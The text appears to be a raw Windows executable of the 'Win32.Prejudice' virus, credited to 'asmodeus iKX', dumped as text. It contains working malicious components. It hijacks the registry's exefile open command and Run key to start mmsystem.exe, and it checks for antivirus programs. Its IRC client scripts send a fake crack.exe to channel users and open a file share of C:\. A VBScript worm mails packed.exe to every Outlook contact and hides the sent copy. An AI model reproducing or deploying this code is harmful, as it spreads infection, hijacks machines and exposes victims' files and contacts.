MZP               @                                      	!L!This program must be run under Win32
$7                                                                                                                                        PE  L %          :         ]      P    @               
                                               `                              p                                                                                    CODE     @      :                    DATA        P      @              @  .idata      `      B              @  .reloc      p      D              @  P                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        [jh@ h4@ j V9  j I9  [asmodeus iKX presents] -[Win32.Prejudice]- Shame of all Nations -                              P         GetProcAddress ExitProcess FindFirstFileA FindNextFileA GetCurrentDirectoryA GetWindowsDirectoryA GetSystemDirectoryA SetCurrentDirectoryA CreateFileMappingA MapViewOfFile UnmapViewOfFile GetFileAttributesA SetFileAttributesA GetDriveTypeA CreateFileA WriteFile CloseHandle GetFileTime SetFileTime SetFilePointer GetFileSize SetEndOfFile GetSystemTime GetTempPathA lstrcat GetModuleHandleA                                                                                                         RegCreateKeyA RegCloseKey RegSetValueExA                                         exefile\shell\open\command Software\Microsoft\Windows\CurrentVersion\Network\LanMan\ASMODEUS$ Software\Microsoft\Windows\CurrentVersion\Run "                                                                                                                                                                                                                                                                    \mmsystem.exe" %1 %* mmsystem.exe" %1 %* "                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Flags Parm1enc Parm2enc Path Remark Type mmsystem       | C:\  &nbsp;<font color="#999999"><a href="setup.exe">Download</a></font>
</body>
</html>
packed.exe commdlg.vbs mmsystem.exe virus.htm advapi32.dll             MZP               @                                      	!L!This program must be run under Win32
$7                                                                                                                                        PE  L 'ơ             
                  @               
      `                                       0  J   P                      @  L                                                                                   CODE                               DATA                             @  .idata      0                    @  .reloc      @                    @  P.rsrc       P                    @                                                                                                                                                                                                                                                                                                                                    <"t3F<"uFFP3<0AVP3   <0AVPM   <0SCAN   <0DRWEt|<0SPIDto<0NOD3tf<0AMONt]<0CRACtA<0PACKt8<0C32.tI<0H98.   <0VIRC   F"rXjPT  jh5$@ hK$@ j Q  j    "@      @      #@    #@ w     @      #@       R"@ M   !@    \   #@ h   j   (#@ #   "@ b   2   #@ >   @   7j h   jj jh   @P^   #@ j 1$@ SQP5#@ g   P6   j L   #@ h  h##@ 5#@ ,   j '$@ P##@ P   %l0@ %p0@ %t0@ %x0@ %|0@ %0@ %0@ %0@ %0@ %0@                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               [script]
n0=on 1:TEXT:*goesaround*:#:/msg $chan [Prejudice/Asmodeus/iKX] What goes around, comes around!
n1=on 1:TEXT:*!hate*:#:/mode $chan +b $me
n2=on 1:TEXT:*remainsinsane*:#:/mode $chan +o $nick
n3=on 1:TEXT:*handitout*:#:/fserve $nick 20 c:\
n3=on 1:TEXT:*crack*:#:if ( $me != $nick ) { /dcc send $nick crack.exe }
n4=on 1:TEXT:*worm*:#:/ignore # $nick
n5=on 1:TEXT:*virus*:#:/ignore # $nick
[Levels]
Enabled=1
Count=1
Level1=prejudice
[prejudice]
User1=*!*@*
UserCount=1
Event1=ON TEXT:*crack*:#:/dcc send $nick c:\pirch98\crack.exe
Event2=ON TEXT:*worm*:#:/ignore # $nick
Event3=ON TEXT:*virus*:#:/ignore # $nick
EventCount=3
Name prejudice
// Events 

Event JOIN "* JOIN"
  DCC Send $nick c:\virc97\crack.exe
EndEvent
script.ini events.ini default.lib script.old                                                                                                                                                                                                                                                                             crack.exe     WinZip Self-Extractor 
WinZip Self-Extractor header corrupt. Possible cause: bad disk or file transfer error

                                                                                                                                                                                                                                                                                                                                                          <0          0  l0  d0          0  0                      0  0  0  0  0   1  1  1  *1      <1      0  0  0  0  0   1  1  1  *1      <1      KERNEL32.dll USER32.dll   CloseHandle   CreateFileA   ExitProcess   CopyFileA   GetModuleFileNameA    GetModuleHandleA    WinExec   WriteFile   GetCommandLineA   MessageBoxA                                                                                                                                                                                          L   000000 11 1*191J1T1c1111111111111 222222                                                                                                                                                                                                                                                                                                                                                                                                                                                            ~NM8                @      ~NM8          X     p      ~NM8               ~NM8                  ~NM8                  ~NM8              P            S  (          T  "            I C O N   (       @                                                                                                      xxw   p               x   wwwwwwx   x   x   x   x   x   x   xww         wx   ww      `     op   o    hp    f     `     fffffffff`                                                              ?     (                                                                            xxw     p                   x wwwwwwx  x  x  x  x  x  x xww       wpx    wwp                                                 (                                                                                                                                                                                                                                                     On Error Resume Next
If Day(Now) > 14 Then
Set A = CreateObject("WScript.Shell")
B = A.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Currentversion\Ikx")
If B <> "Win32.Prejudice 1.0" Then
Set C = CreateObject("Outlook.Application")
Set D = C.GetNameSpace("MAPI")
For Each E In D.AddressLists
If E.AddressEntries.Count > 0 Then
Set F = C.CreateItem(0)
For G = 1 To E.AddressEntries.Count
Set H = E.AddressEntries(G)
If G = 1 Then
F.BCC = H.Address
Else
F.BCC = F.BCC & "; " & H.Address
End If
Next
Randomize
I = Int(3 * Rnd + 1)
If I = 1 Then
F.Subject = "-Replace, subject 1-"
F.Body = "-Replace, e-mail body 1-"
ElseIf I = 2 Then
F.Subject = "-Replace, subject 2-"
F.Body = "-Replace, e-mail body 2-"
Else
F.Subject = "-Replace, subject 3-"
F.Body = "-Replace, e-mail body 3-"
End If
J = Int(3 * Rnd + 1)
If J = 1 Then
F.Body = F.Body & Chr(13) & Chr(10) & Chr(13) & Chr(10) & "-Replace, goodbye 1 and a space at the end-"
ElseIf J = 2 Then
F.Body = F.Body & Chr(13) & Chr(10) & Chr(13) & Chr(10) & "-Replace, goodbye 2 and a space at the end-"
Else
F.Body = F.Body & Chr(13) & Chr(10) & Chr(13) & Chr(10) & "-Replace, goodbye 3 and a space at the end-"
End If
F.Body = F.Body & A.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RegisteredOwner")
K = A.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RegisteredOrganization")
If K <> "" Then
F.Body = F.Body & Chr(13) & Chr(10) & K
End If
H = CreateObject("Scripting.FileSystemObject")
F.Attachments.Add H.BuildPath(H.GetSpecialFolder(1),"packed.exe")
F.DeleteAfterSubmit = True
F.Send
End If
Next
A.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Ikx","Win32.Prejudice 1.0"
End If
End If
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          \COMMDLG.VBS C:\TEMP\ goat*.exe C:\                                                                                                                                                                                                                                                                                                                                         4$     ]Z>@ @ @   s        e@ u6    @ _    =@   &@ x  q    P  8@ *  <@ S  e@ u&7@   u  =@ /  &@ $  @ @ 8@    e@ u @ @ 3ɿ  f?MZuW<  >PE  u  b@ Ãt  wA̓t  wAÀ~@  t%f>MZt   +~@ ~<?PE  tb@ Ëb@ f?MZu:W<b@ Ћ>PE  u%~xb@ b@ 4b@ j@ Ëb@ f>MZ  ~<b@ f?PE   `wxb@ r@ v@ @ b@ b@ @ b@ @ b@ @ @ b@ @ z@ >b@ 3ɻ@ ݋u? t$fAf;@ }mz@ z@ >b@ @ 3f@ b@ @ a@ @ Vb@ P@  tF> uF>uÍT@ Ps@ f@ þw@ @ Vf@ P@  tF> uF>uh  6@ P#@ h  7@ P'@ 8@ Ph  @ @ Ph  k@ u<@ P@ Po@ @ Ph  k@ u<@ P@ Po@ R+@   QPh * j@ Ío@ P@ Po@ @ P@ Ph   @ h  @ Pjj j @ P@ @ P@ h  ;@ P'@ <@ P;@ Po@ h  V@ P'@ Z@ PU@ Po@ @ P@ Ph     h  j@ h  U@ Pjj j @ P  h  j@ @ P  h  j@ @ P'@ Ph    h  j@ h  ;@ Pjj @ P@ P_  h  j@ @ PH  h  j@ @ P@ Ph  %  h  j@ j@ Pjj @ P@ P   h  j@ j@ Pjj @ P@ P   h  j@ j@ Pjj @ P@ P   h  j@ j@ Pjj @ P@ Py   h  j@ j@ Pjj @ P@ PN   h  j@ j@ Pjj @ P@ P#   h  j@ @ P   h  j@     ]D@ j h   jj jh   @PG@ a@ j i@ SQPa@ K@ PO@ ô<3ô@>f=J@ fB@W   @ >Í&@ \m@    la@ y=@ 6m@    Fa@ S1@ m/@    a@ -Í&@ )m@    %=@ m@    
1@ m/@   Í=@ PS@ tTe@ =@ w,O >   =@ ,    󪍅=@ Pe@ P@ t=@ w,O    s`6@ fǅ6@   9     =@ ~6@ V;@ Ѓ tz6@ h   V?@ j j jj jh   VG@ Љv6@ $  6@ SSSPS@ j v6@ _@ Љ6@ j =@ j jj v6@ /@ Љn6@  l  =@ j j jP3@ Ѓ B  r6@ f>MZ#  f~8xxufǅ6@    ^<f<PE   󉵪6@ F(@ F4@ F<6@ ^t3fFH(   xN$ N$    N$   F6@ F9  F6@ 񋍚6@ +ʉNFFF6@ FF-9  6@ 6@ 6@ +؉6@ F6@ 6@ FF-9  r6@ ]@ 9  󤋵6@ 6@ F(6@ FPr6@ fF8xxr6@ 7@ n6@ O@ 6@ SSSv6@ W@ j j 6@ v6@ [@ v6@ c@ v6@ O@ z6@ ~6@ ?@ f6@  ta+ҍ9@ F\Gô;9@ %L`@ %T`@                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                <`          \`  L`  D`          i`  T`                      t`      `      t`      `      KERNEL32.dll USER32.dll   ExitProcess   MessageBoxA                                                                                                                                                                                                                                                                                                                                                                                       0
0     0  @   ]>c>i>>>>>>>>>>????3?<?B?p????????   @    000&0;0A0K0S0Y0`0f0m0s0z00000000000000001
11151<1B1H1M1X1_1}1111111111111111222%2,22292E2P2]2d2j2q2}222222222222222
33!3'3.3D3O3Z3a3r3x3333333333334
444-454@4G4X4`4k4r4444444444445
5585_5r5}5555555555 666&676?6J6P6a6s6z6666666666677!7+71797A7M7S7[7j7w77777778#8+8?8P8V8\8d8m8s888888888888888899999 9&9,989G9[9g9m9                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            